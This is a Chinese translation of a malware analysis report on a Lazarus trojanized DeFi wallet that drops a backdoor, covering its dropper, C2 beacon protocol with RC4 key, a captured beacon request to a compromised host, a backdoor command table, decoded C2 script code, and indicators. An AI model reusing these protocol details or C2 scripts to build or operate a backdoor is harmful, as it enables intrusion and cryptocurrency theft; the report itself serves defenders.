随着加密货币价格的飙升,以及非同质化代币(NFT)和去中心化金融(DeFi)业务的普及,Lazarus组织针对金融行业的目标也在不断变化。
近日,卡巴斯基GReAT团队研究人员发现了一个木马化的DeFi应用程序,其编译时间为2011年11月,与Lazarus组织使用的其他工具有许多相似之处。该应用程序为一个合法DeFi钱包,可用于保存和管理加密货币,但是在执行时会植入一个恶意软件。该恶意软件是一个功能齐全的后门,用于控制被感染的受害者主机。
1. 背景
在2021年12月中旬,卡巴斯基GReAT团队研究人员注意到有一个可疑的、与DeFi有关的应用程序文件上传到VirusTotal。仔细分析后,研究人员发现它包含了一个感染计划,感染流程如图1所示:
首先,当被执行时,该应用程序同时释放一个恶意软件和一个合法应用程序;
同时,在给定的路径下启动恶意软件;
最后,恶意软件使用合法的应用程序覆盖木马化的应用程序,掩盖其踪迹。
图1:感染流程
2. 初始感染阶段
研究人员怀疑Lazarus组织通过鱼叉式钓鱼邮件或通过社交媒体传播该木马化应用程序(0b9f4612cdfe763b3d8c8a956157474a)。它伪装成DeFi钱包程序,实际上包含了打包在一起的一个合法二进制文件和一个恶意代码安装程序。
当该木马化程序执行后,它首先会获得用于下一阶段恶意软件的路径(C:\\ProgramData\\Microsoft\\GoogleChrome.exe),和一个字节异或解密的密钥(0x5D)。在释放这个下一个恶意软件阶段的过程中,安装器将包含"MZ"头在内的前八个字节写入文件GoogleChrome.exe,并从木马程序的.data区块获取剩余的71,164字节。然后,该恶意软件从.rsrc区块加载CITRIX_MEETINGS,并将其保存到路径C:\\ProgramData\\Microsoft\\CM202025.exe。由此产生的文件是一个合法的DeFi钱包应用程序。最终,以之前创建的恶意软件文件名作为参数,执行该合法应用程序。该阶段流程图如图2所示。
图2:恶意软件创建流程图
3. 后门创建阶段
上述生成的恶意软件(d65509f10b432f9bbeacfc39a3506e23)伪装成一个良性应用,即谷歌Chrome浏览器。它被启动后,恶意软件检查是否提供了一个参数,然后试图将合法的应用程序"C:\\ProgramData\\Microsoft\\CM202025.exe"复制到作为命令行参数的路径,通过覆盖原始的木马安装程序,达到隐藏行踪的目的。接着,该恶意软件执行合法文件,向用户展示合法安装过程以欺骗受害者。该应用程序截图如图3所示。
图3:应用程序截图
接下来,该恶意软件开始初始化配置信息。配置结构如下表1所示,其中包含C2服务器地址、受害者ID值和时间等信息。从配置结构来看,这个恶意软件可以容纳多达五个C2地址。
表1:初始化配置结构
偏移 | 长度(字节) | 描述 |
0x00 | 4 | 标志C2操作开始 |
0x04 | 4 | 选择C2服务器的随机值 |
0x08 | 4 | 受害者ID的随机值 |
0x0C | 0x208 | C2服务器地址 |
0x214 | 0x208 | C2服务器地址 |
0x41C | 0x208 | C2服务器地址 |
0x624 | 0x208 | C2服务器地址 |
0x82C | 0x208 | C2服务器地址 |
0xA34 | 0x464 | 存储系统信息的缓冲区 |
0xE98 | 0x400 | Cmd.exe的完整路径 |
0x1298 | 0x400 | 临时文件夹路径 |
0x1698 | 8 | 后门操作开始时间点 |
0x16A0 | 4 | 时间间隔 |
0x16A4 | 4 | 收集逻辑驱动器信息的标志 |
0x16A8 | 8 | 枚举会话信息的标志 |
0x16B0 | 8 | 收集逻辑驱动器和会话信息的时间值 |
恶意软件随机选择一个C2服务器地址并向其发送一个信标信号。该信号是一个未加密的硬编码的双字(0x60D49D94);从C2返回的响应数据带有相同的值。如果收到来自C2服务器的预期值,恶意软件开始其后门操作。
与C2通信之后,恶意软件会通过预定义的方法加密数据。加密是通过RC4和硬编码的密钥0xD5A3实现的,然后再用Base64编码传输。
恶意软件会用硬编码的名字生成POST参数。将请求类型(msgID)、受害者ID和随机生成的值合并作为一个jsessid参数,结构如图4所示。此外,还使用cookie参数保存4个随机生成4字节值。这些随机值也是用RC4加密的,并进行Base64编码。根据对C2脚本的分析,研究人员发现恶意软件不仅使用jsessid参数,还使用了jcookie参数。
图4:jsessid参数结构
如下所示的HTTP请求表明恶意软件尝试用请求类型"60d49d98"和随机生成的cookie值连接到C2。
POST/include/inc.asp HTTP/1.1 Content-Type:application/x-www-form-urlencoded User-Agent:Mozilla/4.0(compatible;MSIE7.0;Windows NT6.1;WOW64;Trident/7.0;SLCC2;.NET CLR2.0.50727;.NET CLR3.5.30729;.NET CLR3.0.30729;Media Center PC6.0;.NET4.0C;.NET4.0E;InfoPath.3) Host:emsystec.com Content-Length:80 Cache-Control:no-cache jsessid=60d49d980163be8f00019f91&cookie=29f23f917ab01aa8lJ3UYA==2517757b7dfb47f1 |
根据C2的响应,恶意软件会执行其指示的后门任务,如表2所示。它支持各种功能来收集系统信息和控制受害者的机器。
表2:后门支持执行的指令
命令 | 描述 |
0x60D49D97 | 用当前的时间间隔值(默认为10)设置时间配置 |
0x60D49D9F | 用C2服务器提供的数据来设置时间配置 |
0x60D49DA0 | 收集系统信息,如IP地址、计算机名称、操作系统版本、CPU架构等 |
0x60D49DA1 | 收集驱动器信息,包括类型和空闲空间大小 |
0x60D49DA2 | 枚举文件(含文件名、大小、时间) |
0x60D49DA3 | 枚举进程 |
0x60D49DA4 | 终止进程 |
0x60D49DA5 | 修改工作目录 |
0x60D49DA6 | 连接到指定IP地址 |
0x60D49DA7 | 文件时间戳 |
0x60D49DA8 | 执行Windows命令 |
0x60D49DA9 | 安全地删除一个文件 |
0x60D49DAA | 用CreateProcessW API启动进程 |
0x60D49DAB | 用CreateProcessAsUserW API启动进程 |
0x60D49DAC | 高完整性地启动进程 |
0x60D49DAD | 从C2服务器下载文件并保存到指定路径 |
0x60D49DAE | 发送文件创建时间和文件内容 |
0x60D49DAF | 将文件添加到.cab文件并将其发送到C2服务器 |
0x60D49DB0 | 收集指定路径下的文件列表 |
0x60D49DB1 | 发送配置到C2服务器 |
0x60D49DB2 | 从C2服务器接收新配置 |
0x60D49DB3 | 将配置设置为当前时间 |
0x60D49DB4 | 休眠0.1秒后继续执行 |
4. 基础设施
Lazarus在这次攻击活动中只使用了位于韩国的被入侵的网络服务器。研究人员从其中一个被入侵的服务器中获得了对应的C2脚本,如下所示:
http://bn-cosmo[.]com/customer/board_replay[.]asp |
该脚本是一个VBScript.EncodeASP文件,常被Lazarus组织在C2脚本中使用。解码后的C2脚本如图5所示。可以看到字符串"60d49d95"作为错误响应码,而字符串"60d49d94"则作为成功响应码。此外,连接历史被保存在文件"stlogo.jpg"中,下一阶段的C2地址被保存在位于同一文件夹的文件"globals.jpg"中。
图5:C2脚本配置
该脚本会检查"jcookie"参数中传递的是什么值,如果长度超过24个字符,那么它提取前8个字符作为msgID。根据msgID值,它调用不同的功能函数,如表3所示。后门命令和命令执行结果会存储到全局变量中。该脚本使用以下变量作为标志和缓冲区,在后门和第二阶段的C2服务器之间传递数据和命令:
lFlag:标志着有数据要交付给后门的信号
lBuffer:用于存储发送到后门的数据缓冲区
tFlag:标志着有一个来自后门的响应
tBuffer:用于存储从后门传入的数据缓冲区
表3:C2功能函数列表
msgID | 功能函数名 | 描述 |
60d49d98 | TFConnect | 将"TID"值(受害者标识符)保存在日志文件中,再从配置文件(globals.jpg)中获取下一阶段的C2地址后,用客户端的IP地址发送"jcookie"值。将下一阶段服务器的响应转发给客户端。 |
60d49d99 | TConnect | 将命令传递给后门: 如果lFlag是"true",将lBuffer发送到客户端。重置"lBuffer"并将lFlag设为"false"。否则,重置"tBuffer"并将tFlag设为"false"。 |
60d49d9a | LConnect | 发送命令并返回命令执行结果。 将"lBuffer"值设置为"jcookie"参数,将"tBuffer"传递给客户端。 |
60d49d9c | Check | 检索主机信息(计算机名称,操作系统版本)。其中,一个配置文件保存了C2的下一个阶段的地址。如果它存在的话则删除该文件,然后通过"jcookie"参数保存带有交付数据的新配置。 |
60d49d9d | LogDown | 交付Base64编码后的日志文件,然后删除它。 |
the others | N/A | 将具有未知/非预期msgID(请求类型)数据的连接写入日志文件,条目被标记为"xxxxxxx"。 |
5. 归因
研究人员非常确定该恶意软件与Lazarus 组织有关,因为该恶意软件与之前在CookieTime集群中发现了的恶意软件非常相似。CookieTime集群是一个恶意软件集群,直到最近才被Lazarus组织大量使用。研究人员从若干份关于这个集群的报告中,发现了一个木马化的Citrix应用程序(5b831eaed711d5c4bc19d7e75fcaf46e),其代码签名与CookieTime恶意软件相同,同时与本报告最新调查中发现的后门程序中的switch结构几乎完全相同,如图6所示。同时,它们共享相同的C2通信方法、后门功能、随机数生成程序和相同的通信数据加密方法。
图6:相同的后门switch结构
反过来,研究人员发现CookieTime集群与Manuscrypt和ThreatNeedle集群有联系,这些集群也归属于Lazarus组织。本报告的后门和C2脚本,显示出与ThreatNeedle集群的若干重叠,如表4所示。研究人员还在本案例的样本中发现了ThreatNeedle样本中出现过的几乎所有的函数名和变量名,这意味着恶意软件开发者重用了代码库并为恶意软件生成了相应的C2脚本,如表5所示。
表4:使用几乎相同的脚本来获取客户端IP地址
ThreatNeedle C2 script from roit.co[.]kr/xyz/adminer/edit_fail_decoded.asp | C2 script of this case |
functIon getIpAddress() On ErroR resume next Dim ip ip = Request.SErVervariables("HTTP_CLIENT_IP") If ip = "" THen Ip = ReQUest.ServervaRiAbLes("HTTP_X_FORWARDED_FOR") If ip = "" ThEn ip = request.ServerVaRiables("REMOTE_ADDR") EndIf Endif GEtIpAdDress = ip EndFuNction | fUnctioN GetIpAddress() ON Error Resume Next Dim iP ip = ReqUest.ServerVaRiables("HTTP_CLIENT_IP") If ip = "" THEn iP = Request.SErverVariaBleS("HTTP_X_FORWARDED_FOR") If ip = "" then ip = reQuest.ServErVariables("REMOTE_ADDR") EnDIF EnDIf GEtipAddreSs = ip EndFUnction |
表5:使用类似脚本保存数据到文件
ThreatNeedle C2 script from: edujikim[.]com/pay_sample/INIstart.asp | C2 script of this case |
Sub writeDataToFile(strFileName, byData) Dim objFSO, objFile, strFilePath Const ForAppending = 8 strFilePath=Server.MapPath(".")&"\\" & strFileName Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strFilePath, ForAppending, True) objFile.Write byData objFile.Close EndSub | Sub WritedatA(filepath, byData) dim objFSO, oBJFile ConSt ForAppEnDing = 8 Set objFsO = CreateObject("Scripting.FileSystemObject") SeT objFIle = objFso.OpENTextFile(filepaTh, FoRAppending, True) objFilE.Write ByDatA objFIle.CLose EnDSub |
6. 总结
研究人员在之前的调查中发现与Lazarus组织有关的BlueNoroff组织入侵了另一个名为MetaMask的DeFi钱包程序。正如本报告的案例,Lazarus组织和BlueNoroff组织试图在不引起注意的情况下传播他们的恶意软件,并且已经发展出复杂的方法来诱导他们的受害者执行。
加密货币和基于区块链的行业继续增长并吸引高水平的投资。出于这个原因,研究人员坚信Lazarus组织依然会针对这个行业并将将其的攻击活动作为一个主要的财务收益来源。
7. IoC列表
Trojanized DeFi application
0b9f4612cdfe763b3d8c8a956157474a DeFi-App.exe
Dropped backdoor
d65509f10b432f9bbeacfc39a3506e23 %ProgramData%\\Microsoft\\GoogleChrome.exe
Similar backdoor
a4873ef95e6d76856aa9a43d56f639a4
d35a9babbd9589694deb4e87db222606
70bcafbb1939e45b841e68576a320603
3f4cf1a8a16e48a866aebd5697ec107b
b7092df99ece1cdb458259e0408983c7
8e302b5747ff1dcad301c136e9acb4b0
d90d267f81f108a89ad728b7ece38e70
47b73a47e26ba18f0dba217cb47c1e16
77ff51bfce3f018821e343c04c698c0e
First stage C2 servers (Legitimate, compromised)
hxxp://emsystec[.]com/include/inc[.]asp
hxxp://www[.]gyro3d[.]com/common/faq[.]asp
hxxp://www[.]newbusantour[.]co[.]kr/gallery/left[.]asp
hxxp://ilovesvc[.]com/HomePage1/Inquiry/privacy[.]asp
hxxp://www[.]syadplus[.]com/search/search_00[.]asp
hxxp://bn-cosmo[.]com/customer/board_replay[.]asp
Second stage C2 servers (Legitimate,compromised)
hxxp://softapp[.]co[.]kr/sub/cscenter/privacy[.]asp
hxxp://gyro3d[.]com/mypage/faq[.]asp
8. MITRE ATT&CK 映射
下表包含了本报告所述攻击活动分析中确定的所有TTP。
Tactic | Technique | Technique Name |
Execution | T1204.002 | User Execution: Malicious File Use Trojanized application to drop malicious backdoor |
Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Register dropped backdoor to the Run registry key |
Defense Evasion | T1070.004 | Indicator Removal on Host: File Deletion The Trojanized application overwrites itself after creating a legitimate application to remove its trace |
T1070.006 | Indicator Removal on Host: Timestomp Backdoor capable of timestomping specific files | |
Discovery | T1057 | Process Discovery List running processes with backdoor |
T1082 | System Information Discovery Gather IP address, computer name, OS version, and CPU architecture with backdoor | |
T1083 | File and Directory Discovery List files in some directories with backdoor | |
T1124 | System Time Discovery Gather system information with backdoor | |
Command and Control | T1071.001 | Application Layer Protocol: Web Protocols Use HTTP as C2 channel with backdoor |
T1573.001 | Encrypted Channel: Symmetric Cryptography Use RC4 encryption and base64 with backdoor | |
Exfiltration | T1041 | Exfiltration Over C2 Channel Exfiltrates gathered data over C2 channels with backdoor |
参考链接:https://securelist.com/lazarus-trojanized-defi-app/106195/
编辑|林卓庞
审校|何双泽、金矢
本文为CNTIC编译整理,不代表本公众号观点,转载请保留出处与链接。
声明:本文来自国家网络威胁情报共享开放平台,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。